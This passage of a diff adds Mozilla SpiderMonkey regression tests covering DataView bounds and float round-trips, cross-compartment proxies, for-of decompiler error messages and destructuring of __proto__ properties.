+ checkThrow(() => view.setInt8(8, -128), RangeError);
+ checkThrow(() => view.setInt8(15, -1), RangeError);
+ view.setUint8(0, 0);
+ assertEq(view.getUint8(0), 0);
+ checkThrow(() => view.setUint8(8, 128), RangeError);
+ checkThrow(() => view.setUint8(15, 255), RangeError);
+ view.setInt16(0, 256, true);
+ assertEq(view.getInt16(0, true), 256);
+ checkThrow(() => view.setInt16(5, 26213, true), RangeError);
+ checkThrow(() => view.setInt16(9, -32127, true), RangeError);
+ checkThrow(() => view.setInt16(14, -2, true), RangeError);
+ view.setInt16(0, 1);
+ assertEq(view.getInt16(0), 1);
+ checkThrow(() => view.setInt16(5, 25958), RangeError);
+ checkThrow(() => view.setInt16(9, -32382), RangeError);
+ checkThrow(() => view.setInt16(14, -257), RangeError);
+ view.setUint16(0, 256, true);
+ assertEq(view.getUint16(0, true), 256);
+ checkThrow(() => view.setUint16(5, 26213, true), RangeError);
+ checkThrow(() => view.setUint16(9, 33409, true), RangeError);
+ checkThrow(() => view.setUint16(14, 65534, true), RangeError);
+ view.setUint16(0, 1);
+ assertEq(view.getUint16(0), 1);
+ checkThrow(() => view.setUint16(5, 25958), RangeError);
+ checkThrow(() => view.setUint16(9, 33154), RangeError);
+ checkThrow(() => view.setUint16(14, 65279), RangeError);
+ checkThrow(() => view.setInt32(0, 50462976, true), RangeError);
+ checkThrow(() => view.setInt32(3, 1717920771, true), RangeError);
+ checkThrow(() => view.setInt32(6, -2122291354, true), RangeError);
+ checkThrow(() => view.setInt32(9, -58490239, true), RangeError);
+ checkThrow(() => view.setInt32(12, -66052, true), RangeError);
+ checkThrow(() => view.setInt32(0, 66051), RangeError);
+ checkThrow(() => view.setInt32(3, 56911206), RangeError);
+ checkThrow(() => view.setInt32(6, 1718059137), RangeError);
+ checkThrow(() => view.setInt32(9, -2122152964), RangeError);
+ checkThrow(() => view.setInt32(12, -50462977), RangeError);
+ checkThrow(() => view.setUint32(0, 50462976, true), RangeError);
+ checkThrow(() => view.setUint32(3, 1717920771, true), RangeError);
+ checkThrow(() => view.setUint32(6, 2172675942, true), RangeError);
+ checkThrow(() => view.setUint32(9, 4236477057, true), RangeError);
+ checkThrow(() => view.setUint32(12, 4294901244, true), RangeError);
+ checkThrow(() => view.setUint32(0, 66051), RangeError);
+ checkThrow(() => view.setUint32(3, 56911206), RangeError);
+ checkThrow(() => view.setUint32(6, 1718059137), RangeError);
+ checkThrow(() => view.setUint32(9, 2172814332), RangeError);
+ checkThrow(() => view.setUint32(12, 4244504319), RangeError);
+
+ // testFloatSets(start=7)
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, 10, true);
+ assertEq(view.getFloat32(0, true), 10);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, 10, true);
+ assertEq(view.getFloat32(3, true), 10);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, 10, true);
+ assertEq(view.getFloat32(7, true), 10);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, 10, true);
+ assertEq(view.getFloat32(10, true), 10);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, 10, false);
+ assertEq(view.getFloat32(0, false), 10);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, 10, false);
+ assertEq(view.getFloat32(3, false), 10);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, 10, false);
+ assertEq(view.getFloat32(7, false), 10);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, 10, false);
+ assertEq(view.getFloat32(10, false), 10);
+
+ // testFloatSet expected=1.2300000190734863
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, 1.2300000190734863, true);
+ assertEq(view.getFloat32(0, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, 1.2300000190734863, true);
+ assertEq(view.getFloat32(3, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, 1.2300000190734863, true);
+ assertEq(view.getFloat32(7, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, 1.2300000190734863, true);
+ assertEq(view.getFloat32(10, true), 1.2300000190734863);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, 1.2300000190734863, false);
+ assertEq(view.getFloat32(0, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, 1.2300000190734863, false);
+ assertEq(view.getFloat32(3, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, 1.2300000190734863, false);
+ assertEq(view.getFloat32(7, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, 1.2300000190734863, false);
+ assertEq(view.getFloat32(10, false), 1.2300000190734863);
+
+ // testFloatSet expected=-45621.37109375
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, -45621.37109375, true);
+ assertEq(view.getFloat32(0, true), -45621.37109375);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, -45621.37109375, true);
+ assertEq(view.getFloat32(3, true), -45621.37109375);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, -45621.37109375, true);
+ assertEq(view.getFloat32(7, true), -45621.37109375);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, -45621.37109375, true);
+ assertEq(view.getFloat32(10, true), -45621.37109375);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, -45621.37109375, false);
+ assertEq(view.getFloat32(0, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, -45621.37109375, false);
+ assertEq(view.getFloat32(3, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, -45621.37109375, false);
+ assertEq(view.getFloat32(7, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, -45621.37109375, false);
+ assertEq(view.getFloat32(10, false), -45621.37109375);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, NaN, true);
+ assertEq(view.getFloat32(0, true), NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, NaN, true);
+ assertEq(view.getFloat32(3, true), NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, NaN, true);
+ assertEq(view.getFloat32(7, true), NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, NaN, true);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, NaN, false);
+ assertEq(view.getFloat32(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, NaN, false);
+ assertEq(view.getFloat32(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, NaN, false);
+ assertEq(view.getFloat32(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, NaN, false);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, -NaN, true);
+ assertEq(view.getFloat32(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, -NaN, true);
+ assertEq(view.getFloat32(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, -NaN, true);
+ assertEq(view.getFloat32(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, -NaN, true);
+ assertEq(view.getFloat32(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, -NaN, false);
+ assertEq(view.getFloat32(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, -NaN, false);
+ assertEq(view.getFloat32(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, -NaN, false);
+ assertEq(view.getFloat32(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, -NaN, false);
+ assertEq(view.getFloat32(10, false), -NaN);
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, 10, true);
+ assertEq(view.getFloat64(0, true), 10);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, 10, true);
+ assertEq(view.getFloat64(3, true), 10);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, 10, true);
+ assertEq(view.getFloat64(7, true), 10);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, 10, true);
+ assertEq(view.getFloat64(10, true), 10);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, 10, false);
+ assertEq(view.getFloat64(0, false), 10);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, 10, false);
+ assertEq(view.getFloat64(3, false), 10);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, 10, false);
+ assertEq(view.getFloat64(7, false), 10);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, 10, false);
+ assertEq(view.getFloat64(10, false), 10);
+
+ // testFloatSet expected=1.23
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, 1.23, true);
+ assertEq(view.getFloat64(0, true), 1.23);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, 1.23, true);
+ assertEq(view.getFloat64(3, true), 1.23);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, 1.23, true);
+ assertEq(view.getFloat64(7, true), 1.23);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, 1.23, true);
+ assertEq(view.getFloat64(10, true), 1.23);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, 1.23, false);
+ assertEq(view.getFloat64(0, false), 1.23);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, 1.23, false);
+ assertEq(view.getFloat64(3, false), 1.23);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, 1.23, false);
+ assertEq(view.getFloat64(7, false), 1.23);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, 1.23, false);
+ assertEq(view.getFloat64(10, false), 1.23);
+
+ // testFloatSet expected=-6213576.4839
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, -6213576.4839, true);
+ assertEq(view.getFloat64(0, true), -6213576.4839);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, -6213576.4839, true);
+ assertEq(view.getFloat64(3, true), -6213576.4839);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, -6213576.4839, true);
+ assertEq(view.getFloat64(7, true), -6213576.4839);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, -6213576.4839, true);
+ assertEq(view.getFloat64(10, true), -6213576.4839);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, -6213576.4839, false);
+ assertEq(view.getFloat64(0, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, -6213576.4839, false);
+ assertEq(view.getFloat64(3, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, -6213576.4839, false);
+ assertEq(view.getFloat64(7, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, -6213576.4839, false);
+ assertEq(view.getFloat64(10, false), -6213576.4839);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, NaN, true);
+ assertEq(view.getFloat64(0, true), NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, NaN, true);
+ assertEq(view.getFloat64(3, true), NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, NaN, true);
+ assertEq(view.getFloat64(7, true), NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, NaN, true);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, NaN, false);
+ assertEq(view.getFloat64(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, NaN, false);
+ assertEq(view.getFloat64(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, NaN, false);
+ assertEq(view.getFloat64(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, NaN, false);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, -NaN, true);
+ assertEq(view.getFloat64(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, -NaN, true);
+ assertEq(view.getFloat64(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, -NaN, true);
+ assertEq(view.getFloat64(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, -NaN, true);
+ assertEq(view.getFloat64(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, -NaN, false);
+ assertEq(view.getFloat64(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, -NaN, false);
+ assertEq(view.getFloat64(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, -NaN, false);
+ assertEq(view.getFloat64(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, -NaN, false);
+ assertEq(view.getFloat64(10, false), -NaN);
+
+ // Test for set methods that write to negative index
+
+ // testSetNegativeIndexes
+ view = new DataView(buffer1, 0, 16);
+ checkThrow(() => view.setInt8(-1, 0), RangeError);
+ checkThrow(() => view.setInt8(-2, 0), RangeError);
+ checkThrow(() => view.setUint8(-1, 0), RangeError);
+ checkThrow(() => view.setUint8(-2, 0), RangeError);
+ checkThrow(() => view.setInt16(-1, 0), RangeError);
+ checkThrow(() => view.setInt16(-2, 0), RangeError);
+ checkThrow(() => view.setInt16(-3, 0), RangeError);
+ checkThrow(() => view.setUint16(-1, 0), RangeError);
+ checkThrow(() => view.setUint16(-2, 0), RangeError);
+ checkThrow(() => view.setUint16(-3, 0), RangeError);
+ checkThrow(() => view.setInt32(-1, 0), RangeError);
+ checkThrow(() => view.setInt32(-3, 0), RangeError);
+ checkThrow(() => view.setInt32(-5, 0), RangeError);
+ checkThrow(() => view.setUint32(-1, 0), RangeError);
+ checkThrow(() => view.setUint32(-3, 0), RangeError);
+ checkThrow(() => view.setUint32(-5, 0), RangeError);
+ view = new DataView(buffer7, 0, 8);
+ checkThrow(() => view.setFloat32(-1, 0), RangeError);
+ checkThrow(() => view.setFloat32(-3, 0), RangeError);
+ checkThrow(() => view.setFloat32(-5, 0), RangeError);
+ checkThrow(() => view.setFloat64(-1, 0), RangeError);
+ checkThrow(() => view.setFloat64(-5, 0), RangeError);
+ checkThrow(() => view.setFloat64(-9, 0), RangeError);
+
+ // Too large for signed 32 bit integer index
+ checkThrow(() => view.setInt8(2147483649, 1), RangeError);
+ checkThrow(() => view.setUint8(2147483649, 1), RangeError);
+ checkThrow(() => view.setInt16(2147483649, 1), RangeError);
+ checkThrow(() => view.setUint16(2147483649, 1), RangeError);
+ checkThrow(() => view.setInt32(2147483649, 1), RangeError);
+ checkThrow(() => view.setUint32(2147483649, 1), RangeError);
+ checkThrow(() => view.setFloat32(2147483649, 1), RangeError);
+ checkThrow(() => view.setFloat64(2147483649, 1), RangeError);
+
+ // testAlignment
+ var intArray1 = [0, 1, 2, 3, 100, 101, 102, 103, 128, 129, 130, 131, 252, 253, 254, 255];
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 0);
+ assertEq(view.getUint32(0, false), 0x00010203);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 1);
+ assertEq(view.getUint32(0, false), 0x01020364);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 2);
+ assertEq(view.getUint32(0, false), 0x02036465);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 3);
+ assertEq(view.getUint32(0, false), 0x03646566);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 4);
+ assertEq(view.getUint32(0, false), 0x64656667);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 5);
+ assertEq(view.getUint32(0, false), 0x65666780);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 6);
+ assertEq(view.getUint32(0, false), 0x66678081);
+ view = new DataView(bufferize(new Uint8Array(intArray1)), 7);
+ assertEq(view.getUint32(0, false), 0x67808182);
+
+ // Test for indexing into a DataView, which should not use the ArrayBuffer storage
+ view = new DataView(bufferize(new Uint8Array([1, 2])));
+ assertEq(view[0], undefined);
+ view[0] = 3;
+ assertEq(view[0], 3);
+ assertEq(view.getUint8(0), 1);
+
+ // Test WebIDL-specific class and prototype class names
+ assertEq(Object.prototype.toString.apply(new Uint8Array(0)), "[object Uint8Array]");
+ assertEq(Object.prototype.toString.apply(new Float32Array(0)), "[object Float32Array]");
+ assertEq(Object.prototype.toString.apply(new ArrayBuffer()), "[object ArrayBuffer]");
+ assertEq(Object.prototype.toString.apply(new DataView(view.buffer)), "[object DataView]");
+ assertEq(Object.prototype.toString.apply(DataView.prototype), "[object DataView]");
+
+ // get %TypedArray%.prototype[@@toStringTag] returns undefined thus
+ // Object.prototype.toString falls back to [object Object]
+ assertEq(Object.prototype.toString.apply(Uint8Array.prototype), "[object Object]");
+ assertEq(Object.prototype.toString.apply(Float32Array.prototype), "[object Object]");
+ var typedArrayPrototype = Object.getPrototypeOf(Float32Array.prototype);
+ assertEq(Object.prototype.toString.apply(typedArrayPrototype), "[object Object]");
+
+ // Accessing DataView fields on DataView.prototype should crash
+ checkThrow(() => DataView.prototype.byteLength, TypeError);
+ checkThrow(() => DataView.prototype.byteOffset, TypeError);
+ checkThrow(() => DataView.prototype.buffer, TypeError);
+
+ // Protos and proxies, oh my!
+ var alien = newGlobal();
+ var alien_data = alien.eval('data = ' + JSON.stringify(data1));
+ var alien_buffer = alien.eval(`buffer = new ${sharedMem ? 'Shared' : ''}ArrayBuffer(data.length)`);
+ alien.eval('new Uint8Array(buffer).set(data)');
+ var alien_view = alien.eval('view = new DataView(buffer, 0, 16)');
+
+ // proto is view of buffer: should throw
+ var o = Object.create(view1);
+ checkThrow(() => o.getUint8(4), TypeError); // WebIDL 4.4.7: Operations
+ checkThrow(() => o.buffer, TypeError); // WebIDL 4.4.6: Attributes, section 2
+ checkThrow(() => o.byteOffset, TypeError);
+ checkThrow(() => o.byteLength, TypeError);
+
+ // proxy for view of buffer: should work
+ assertEq(alien_view.buffer.byteLength > 0, true);
+ assertEq(alien_view.getUint8(4), 100);
+
+ // Bug 753996: when throwing an Error whose message contains the name of a
+ // function, the JS engine calls js_ValueToFunction to produce the function
+ // name to include in the message. js_ValueToFunction does not unwrap its
+ // argument. So if the function is actually a wrapper, then
+ // js_ValueToFunction will throw a TypeError ("X is not a function").
+ // Confusingly, this TypeError uses the decompiler, which *will* unwrap the
+ // object to get the wrapped function name out, so the final error will
+ // look something like "SomeFunction() is not a function".)
+ var weirdo = Object.create(alien.eval("new Date"));
+ var e = null;
+ try {
+ weirdo.getTime();
+ } catch (exc) {
+ e = exc;
+ }
+ if (!e) {
+ print("==== TODO but PASSED? ====");
+ print("Bug 753996 unexpectedly passed");
+ }
+
+ // proto is proxy for view of buffer: should throw TypeError
+ //
+ // As of this writing, bug 753996 causes this to throw the *wrong*
+ // TypeError, and in fact it throws a (thisglobal).TypeError instead of
+ // alien.TypeError.
+ var av = Object.create(alien_view);
+ checkThrowTODO(() => av.getUint8(4), alien.TypeError);
+ checkThrowTODO(() => av.buffer, alien.TypeError);
+
+ // view of object whose proto is buffer. This should not work per dherman.
+ // Note that DataView throws a TypeError while TypedArrays create a
+ // zero-length view. Odd though it seems, this is correct: TypedArrays have
+ // a constructor that takes a length argument; DataViews do not. So a
+ // TypedArray will do ToUint32 and end up passing a zero as the
+ // constructor's length argument.
+ buffer = Object.create(buffer1);
+ checkThrow(() => new DataView(buffer), TypeError);
+
+ // view of proxy for buffer
+ av = new DataView(alien_buffer);
+ assertEq(av.getUint8(4), 100);
+ assertEq(Object.getPrototypeOf(av), DataView.prototype);
+
+ // Bug 760904: call another compartment's constructor with an ArrayBuffer
+ // from this compartment.
+ var alien_constructor = alien.DataView;
+ var local_buffer = (new Int8Array(3)).buffer;
+ var foreign_exchange_student = new alien_constructor(local_buffer);
+
+ // gc bug 787775
+ var ab = new ArrayBuffer(4);
+ var dv = new DataView(ab);
+ dv = 1;
+ gc();
+
+ // Bug 1438569.
+ dv = new DataView(new ArrayBuffer(20 * 1024 * 1024));
+ dv.setInt8(dv.byteLength - 10, 99);
+ assertEq(dv.getInt8(dv.byteLength - 10), 99);
+
+ reportCompare(0, 0, 'done.');
+}
+
+test(false);
+
+if (this.SharedArrayBuffer)
+ test(true);
diff --git a/js/src/tests/non262/extensions/decompile-for-of.js b/js/src/tests/non262/extensions/decompile-for-of.js
new file mode 100644
index 0000000000..b99e20a40b
--- /dev/null
+++ b/js/src/tests/non262/extensions/decompile-for-of.js
@@ -0,0 +1,27 @@
+// The decompiler can handle the implicit call to @@iterator in a for-of loop.
+
+var x;
+function check(code, msg) {
+ var s = "no exception thrown";
+ try {
+ eval(code);
+ } catch (exc) {
+ s = exc.message;
+ }
+
+ assertEq(s, msg);
+}
+
+x = {};
+check("for (var v of x) throw fit;", "x is not iterable");
+check("[...x]", "x is not iterable");
+check("Math.hypot(...x)", "x is not iterable");
+
+x[Symbol.iterator] = "potato";
+check("for (var v of x) throw fit;", "x is not iterable");
+
+x[Symbol.iterator] = {};
+check("for (var v of x) throw fit;", "x[Symbol.iterator] is not a function");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/extensions/destructure-accessor.js b/js/src/tests/non262/extensions/destructure-accessor.js
new file mode 100644
index 0000000000..e8c57bb93c
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructure-accessor.js
@@ -0,0 +1,75 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'destructure-accessor.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 536472;
+var summary =
+ 'ES5: { get x(v) { } } and { set x(v, v2) { } } should be syntax errors';
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+function expectOk(s)
+{
+ try
+ {
+ eval(s);
+ return;
+ }
+ catch (e)
+ {
+ assertEq(true, false,
+ "expected no error parsing '" + "', got : " + e);
+ }
+}
+
+function expectSyntaxError(s)
+{
+ try
+ {
+ eval(s);
+ throw new Error("no error thrown");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error parsing '" + s + "', got: " + e);
+ }
+}
+
+expectSyntaxError("({ get x([]) { } })");
+expectSyntaxError("({ get x({}) { } })");
+expectSyntaxError("({ get x(a, []) { } })");
+expectSyntaxError("({ get x(a, {}) { } })");
+expectSyntaxError("({ get x([], a) { } })");
+expectSyntaxError("({ get x({}, a) { } })");
+expectSyntaxError("({ get x([], a, []) { } })");
+expectSyntaxError("({ get x([], a, {}) { } })");
+expectSyntaxError("({ get x({}, a, []) { } })");
+expectSyntaxError("({ get x({}, a, {}) { } })");
+
+expectOk("({ get x() { } })");
+
+
+expectSyntaxError("({ set x() { } })");
+expectSyntaxError("({ set x(a, []) { } })");
+expectSyntaxError("({ set x(a, b, c) { } })");
+
+expectOk("({ set x([]) { } })");
+expectOk("({ set x({}) { } })");
+expectOk("({ set x([a]) { } })");
+expectOk("({ set x([a, b]) { } })");
+expectOk("({ set x([a,]) { } })");
+expectOk("({ set x([a, b,]) { } })");
+expectOk("({ set x([, b]) { } })");
+expectOk("({ set x([, b,]) { } })");
+expectOk("({ set x([, b, c]) { } })");
+expectOk("({ set x([, b, c,]) { } })");
+expectOk("({ set x({ a: a }) { } })");
+expectOk("({ set x({ a: a, b: b }) { } })");
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment-before-var.js b/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment-before-var.js
new file mode 100644
index 0000000000..da0da55c8a
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment-before-var.js
@@ -0,0 +1,49 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-__proto__-shorthand-assignment-before-var.js';
+var BUGNUMBER = 963641;
+var summary = "{ __proto__ } should work as a destructuring assignment pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+({ __proto__ } = objectWithProtoProperty(17));
+assertEq(__proto__, 17);
+
+var { __proto__ } = objectWithProtoProperty(42);
+assertEq(__proto__, 42);
+
+function nested()
+{
+ ({ __proto__ } = objectWithProtoProperty(undefined));
+ assertEq(__proto__, undefined);
+
+ var { __proto__ } = objectWithProtoProperty("fnord");
+ assertEq(__proto__, "fnord");
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment.js b/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment.js
new file mode 100644
index 0000000000..0ab26465f5
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment.js
@@ -0,0 +1,49 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-__proto__-shorthand-assignment.js';
+var BUGNUMBER = 963641;
+var summary = "{ __proto__ } should work as a destructuring assignment pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+var { __proto__ } = objectWithProtoProperty(42);
+assertEq(__proto__, 42);
+
+({ __proto__ } = objectWithProtoProperty(17));
+assertEq(__proto__, 17);
+
+function nested()
+{
+ var { __proto__ } = objectWithProtoProperty("fnord");
+ assertEq(__proto__, "fnord");
+
+ ({ __proto__ } = objectWithProtoProperty(undefined));
+ assertEq(__proto__, undefined);
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/destructuring-__proto__-target-assignment.js b/js/src/tests/non262/extensions/destructuring-__proto__-target-assignment.js
new file mode 100644
index 0000000000..9e8ec72179
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructuring-__proto__-target-assignment.js
@@ -0,0 +1,50 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-__proto__-target--assignment.js';
+var BUGNUMBER = 963641;
+var summary =
+ "{ __proto__: target } should work as a destructuring assignment pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+var { __proto__: target } = objectWithProtoProperty(null);
+assertEq(target, null);
+
+({ __proto__: target } = objectWithProtoProperty("aacchhorrt"));
+assertEq(target, "aacchhorrt");
+
+function nested()
+{
+ var { __proto__: target } = objectWithProtoProperty(3.141592654);
+ assertEq(target, 3.141592654);
+
+ ({ __proto__: target } = objectWithProtoProperty(-0));
+ assertEq(target, -0);
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/destructuring-for-inof-__proto__.js b/js/src/tests/non262/extensions/destructuring-for-inof-__proto__.js
new file mode 100644
index 0000000000..283dee3147
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructuring-for-inof-__proto__.js
@@ -0,0 +1,85 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-for-inof-__proto__.js';
